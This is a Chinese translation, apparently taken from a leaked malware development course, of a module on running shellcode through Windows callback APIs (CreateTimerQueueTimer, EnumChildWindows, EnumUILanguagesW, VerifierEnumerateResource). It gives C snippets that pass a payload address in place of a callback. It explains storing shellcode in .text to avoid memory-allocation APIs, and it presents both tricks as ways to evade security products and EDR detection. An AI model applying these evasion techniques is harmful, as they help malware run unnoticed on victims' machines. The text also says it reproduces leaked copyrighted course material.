0%
毅种循环

模块 41 - 回调函数代码执行

恶意软件开发课程 - 回调函数代码执行


模块 41 - 回调函数代码执行#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示实践心得

  1. 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
  2. 版权归属:原始知识产权归原作者/官方所有。
  3. 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程
  4. 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。

回调函数代码执行#

简介#

回调函数 (Callback functions) 用于处理事件,或在满足特定条件时执行某个操作。它们在 Windows 操作系统的各种场景中都有使用,包括事件处理、窗口管理和多线程。微软对回调函数的定义如下:

回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成任务。对回调函数的调用间接地从托管应用程序传递,通过 DLL 函数,然后返回到托管实现。

💡 初学者提示:什么是回调?

想象一下你给餐厅打电话订餐,但现在没位子。你留下电话号码并告诉前台:“等有位子了给我打电话(Call me back)”。

在编程中,回调就是你交给操作系统的一个函数指针(你的电话号码),并告诉它:“当某个事件发生时(比如定时器到期、窗口被找到),请执行这个函数”。

几个普通的 Windows API 都具备利用回调执行 Payload 的能力。使用它们对安全解决方案具有优势,因为这些函数本身看起来是良性的,可以潜在地规避某些监控。

滥用回调函数#

可以通过函数指针执行 Windows 回调。要运行 Payload,必须传递 Payload 的地址,而不是有效的回调函数指针。回调执行可以替代 CreateThread WinAPI 和其他与线程相关的 Payload 执行技术。此外,不需要通过传递适当的参数来正确使用这些函数。这些函数的返回值或本身的功能并不重要。

一个关于回调函数的重要点是,它们仅在本地进程地址空间中工作,不能用于执行远程代码注入技术。

示例回调函数#

以下函数都能够执行回调函数。

CreateTimerQueueTimer 的第 3 个参数

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // 此处填入 Payload 地址
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);
c

EnumChildWindows 的第 2 个参数

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // 此处填入 Payload 地址
  [in]           LPARAM      lParam
);
c

EnumUILanguagesW 的第 1 个参数

BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // 此处填入 Payload 地址
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);
c

VerifierEnumerateResource 的第 4 个参数

ULONG VerifierEnumerateResource(
  HANDLE                           Process,
  ULONG                            Flags,
  ULONG                            ResourceType,
  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,     // 此处填入 Payload 地址
  PVOID                            EnumerationContext
);
c

以下各节将对这些函数中的每一个提供详细说明。代码示例中使用的 Payload 存储在二进制文件的 .text 段中。这允许 Shellcode 具有所需的 RX 内存权限,而无需使用 VirtualAlloc 或其他内存分配函数分配可执行内存。

📚 知识扩展:直接在 .text 段执行

通常我们会用 VirtualAlloc 分配一块新内存。但如果我们在编译时将 Payload 放在代码段(.text)中,它的权限默认就是“可执行”的。这样可以省去分配内存和修改权限(VirtualProtect)的步骤,从而减少 API 的特征暴露。

使用 CreateTimerQueueTimer#

CreateTimerQueueTimer 创建一个新的定时器并将其添加到指定的定时器队列中。定时器是使用一个在定时器过期时被调用的回调函数来指定的。回调函数由创建定时器队列的线程执行。

下面的片段将位于 Payload 处的代码作为回调函数运行。

HANDLE hTimer = NULL;

// 即使 DueTime 设置为 NULL (0),定时器也会立即(或尽快)触发回调
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
	printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
	return -1;
}
c

使用 EnumChildWindows#

EnumChildWindows 允许程序枚举父窗口的子窗口。它将父窗口句柄作为输入,并对每个子窗口逐个应用用户定义的回调函数。回调函数为每个子窗口调用一次,并接收子窗口句柄和用户定义的值作为参数。

下面的片段将位于 Payload 处的代码作为回调函数运行。

    // 第一个参数为 NULL,这可能导致函数失败(若没有子窗口),但在很多系统环境下依然能触发执行
	if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
		printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
		return -1;
	}
c

使用 EnumUILanguagesW#

EnumUILanguagesW 枚举系统上安装的用户界面 (UI) 语言。它将回调函数作为参数,并对每种 UI 语言逐个应用回调函数。请注意,即使使用任何值而不是 MUI_LANGUAGE_NAME 标志,它仍然有效。

下面的片段将位于 Payload 处的代码作为回调函数运行。

    // 该函数会遍历所有安装的 UI 语言并对每一项调用我们的 Payload
	if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
		printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
		return -1;
	}
c

使用 VerifierEnumerateResource#

VerifierEnumerateResource 用于在指定的模块中枚举资源。资源是存储在模块(如可执行文件或动态链接库)中的数据,可以在运行时由模块或其他模块访问。资源的示例包括字符串、位图和对话框模板。

VerifierEnumerateResource 是从 verifier.dll 导出的,因此必须使用 LoadLibraryGetProcAddress WinAPI 动态加载该模块以访问该函数。

请注意,如果 ResourceType 参数不等于 AvrfResourceHeapAllocation,则 Payload 将不会被执行。AvrfResourceHeapAllocation 允许函数枚举堆分配,包括堆元数据块。


🎯 总结#

在本模块中,我们学习了:

  1. 回调滥用:利用系统 API 的正常功能来触发恶意代码的执行。
  2. 隐蔽执行:回调函数由操作系统组件调用,比起直接调用 CreateThread,此类行为更难通过行为分析(Behavioral Analysis)识别。
  3. 本地限制:这些技术仅限于本地进程,无法跨进程使用。

💡 关键要点

  • Windows 中有成百上千个带回调参数的 API。
  • 这是一个非常好的绕过技术,因为它把执行权交给了 OS。
  • 在后续模块中,我们将学习如何利用这些回调来规避 EDR 获取线程起始地址的检测。

📚 下一步学习

下一个模块将介绍 Local Mapping Injection。我们将深入学习如何利用内存映射在不触发敏感内存 API 监控的情况下进行注入!